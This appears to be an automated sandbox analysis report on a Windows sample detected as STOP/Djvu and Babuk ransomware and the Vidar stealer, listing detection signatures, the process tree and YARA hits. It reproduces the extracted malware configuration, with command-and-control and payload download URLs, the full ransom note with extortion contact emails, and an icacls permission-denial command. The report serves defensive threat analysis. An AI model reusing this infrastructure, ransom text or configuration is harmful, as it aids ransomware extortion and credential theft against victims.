Edit tour

Windows Analysis Report
n8XBpFdVFU.exe

Overview

General Information

Sample name:	n8XBpFdVFU.exe renamed because original name is a hash value
Original sample name:	19f46c713419f534c1532645b764c7b4.exe
Analysis ID:	1431226
MD5:	19f46c713419f534c1532645b764c7b4
SHA1:	f61f07d60704ff3d843596a6068b12f565bbed23
SHA256:	8b7851ae383ee5e1d106322f99d0a6149044e317ed310ce7464ff7d82afa725c
Tags:	exeStop
Infos:

Detection

Babuk, Djvu, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Found ransom note / readme

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AntiVM3

Yara detected Babuk Ransomware

Yara detected Djvu Ransomware

Yara detected Vidar stealer

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Infects executable files (exe, dll, sys, html)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Writes a notice file (html or txt) to demand a ransom

Writes many files with high entropy

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops certificate files (DER)

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after checking a module file name)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

n8XBpFdVFU.exe (PID: 3524 cmdline: "C:\Users\user\Desktop\n8XBpFdVFU.exe" MD5: 19F46C713419F534C1532645B764C7B4)

n8XBpFdVFU.exe (PID: 4308 cmdline: "C:\Users\user\Desktop\n8XBpFdVFU.exe" MD5: 19F46C713419F534C1532645B764C7B4)

icacls.exe (PID: 5004 cmdline: icacls "C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: 2E49585E4E08565F52090B144062F97E)

n8XBpFdVFU.exe (PID: 6604 cmdline: "C:\Users\user\Desktop\n8XBpFdVFU.exe" --Admin IsNotAutoStart IsNotTask MD5: 19F46C713419F534C1532645B764C7B4)

n8XBpFdVFU.exe (PID: 1228 cmdline: "C:\Users\user\Desktop\n8XBpFdVFU.exe" --Admin IsNotAutoStart IsNotTask MD5: 19F46C713419F534C1532645B764C7B4)

build2.exe (PID: 6820 cmdline: "C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe" MD5: A04031208441077A014F42095FF86107)

build2.exe (PID: 7176 cmdline: "C:\Users\user\AppData\Local\66ea3557-6cb8-4b6a-8c65-832fd98152ba\build2.exe" MD5: A04031208441077A014F42095FF86107)

n8XBpFdVFU.exe (PID: 6652 cmdline: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe --Task MD5: 19F46C713419F534C1532645B764C7B4)

n8XBpFdVFU.exe (PID: 772 cmdline: C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe --Task MD5: 19F46C713419F534C1532645B764C7B4)

n8XBpFdVFU.exe (PID: 7268 cmdline: "C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe" --AutoStart MD5: 19F46C713419F534C1532645B764C7B4)

n8XBpFdVFU.exe (PID: 7288 cmdline: "C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe" --AutoStart MD5: 19F46C713419F534C1532645B764C7B4)

n8XBpFdVFU.exe (PID: 7752 cmdline: "C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe" --AutoStart MD5: 19F46C713419F534C1532645B764C7B4)

n8XBpFdVFU.exe (PID: 7768 cmdline: "C:\Users\user\AppData\Local\d4e6879e-eed6-4d79-bc2f-348cb48e7771\n8XBpFdVFU.exe" --AutoStart MD5: 19F46C713419F534C1532645B764C7B4)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Babuk	Babuk Ransomware is a sophisticated ransomware compiled for several platforms. Windows and ARM for Linux are the most used compiled versions, but ESX and a 32bit old PE executable were observed over time. as well It uses an Elliptic Curve Algorithm (Montgomery Algorithm) to build the encryption keys.	No Attribution	http://chuongdong.com/reverse%20engineering/2021/01/03/BabukRansomware/ https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/ https://blog.morphisec.com/babuk-ransomware-variant-major-attack https://blog.talosintelligence.com/2021/11/babuk-exploits-exchange.html https://chuongdong.com/reverse%20engineering/2021/01/16/BabukRansomware-v3/	https://malpedia.caad.fkie.fraunhofer.de/details/win.babuk

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199673019888"]}

Threatname: Djvu

{"Download URLs": ["http://sdfjhuz.com/dl/build2.exe", "http://cajgtus.com/files/1/build3.exe"], "C2 url": "http://cajgtus.com/test1/get.php", "Ransom note file": "_README.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0863PsawqS", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAw0Ftq9GtunuzQZHGiqoG\\\\n8S4cMO\\/Bdgsd+jTtFbVs1bX4OXiYKnMXg4LclKMEHJ2gnP2X09BkzA29UJQlagak\\\\nuAL7j7iRagKeU4tAB8w9rziBYoa9zROqer7J6pf5B11vAvvRq4b3127kAxnMhpgo\\\\ns7MQC7pXIvTkEeGySeG+F5fjSMPUoF1\\/cAg6GuSWOPXoPvXKRA\\/mo+xyHVOKZe2+\\\\nSCpbMHAyMe7o4w\\/i\\/pVjv9g8pRDJtz14qtMuAR38ek+SPJ4PJCxA9e0tOi+p4yNn\\\\nvnFKoL5OwzoF+bvVHnTA7tk4fXB3AyaL9llS0kxEWS7x\\/kNYQyJPh9fimryM03Cy\\\\n1wIDAQAB\\\\n-----END PUBLIC KEY-----"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.1717427302.0000000001CE0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000F.00000002.2010470416.0000000005E20000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000F.00000002.2010470416.0000000005E20000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000008.00000002.1875771644.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000010.00000002.2021549677.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000010.00000002.2021549677.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000010.00000002.2021549677.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000A.00000002.1746596896.0000000005D90000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000A.00000002.1746596896.0000000005D90000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000B.00000002.1754689176.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000B.00000002.1754689176.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000B.00000002.1754689176.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000A.00000002.1745411622.0000000004458000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000007.00000002.1717559855.0000000001DBF000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xda0:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000005.00000002.1661649281.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000005.00000002.1661649281.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000000.00000002.1629076133.00000000045E2000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000F.00000002.2010099363.00000000041E8000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000003.00000002.1650285464.00000000042FB000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000006.00000002.2878939305.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000006.00000002.2878939305.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000006.00000002.2878939305.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000005.00000002.1661479218.000000000454F000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Process Memory Space: n8XBpFdVFU.exe PID: 3524	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: n8XBpFdVFU.exe PID: 3524	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3a2ab:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: n8XBpFdVFU.exe PID: 4308	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: n8XBpFdVFU.exe PID: 4308	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x637c0:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: n8XBpFdVFU.exe PID: 6604	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: n8XBpFdVFU.exe PID: 6604	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x31240:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: n8XBpFdVFU.exe PID: 1228	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: n8XBpFdVFU.exe PID: 1228	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: n8XBpFdVFU.exe PID: 1228	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x177f2fe:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: n8XBpFdVFU.exe PID: 6652	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: n8XBpFdVFU.exe PID: 6652	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3771c:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: n8XBpFdVFU.exe PID: 772	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: n8XBpFdVFU.exe PID: 772	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: n8XBpFdVFU.exe PID: 772	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4d546:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: build2.exe PID: 6820	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: build2.exe PID: 7176	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: build2.exe PID: 7176	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: build2.exe PID: 7176	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: n8XBpFdVFU.exe PID: 7752	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: n8XBpFdVFU.exe PID: 7752	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3105c:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Click to see the 48 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
8.2.build2.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
7.2.build2.exe.1ce15a0.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
1.2.n8XBpFdVFU.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.2.n8XBpFdVFU.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
1.2.n8XBpFdVFU.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
4.2.n8XBpFdVFU.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.n8XBpFdVFU.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
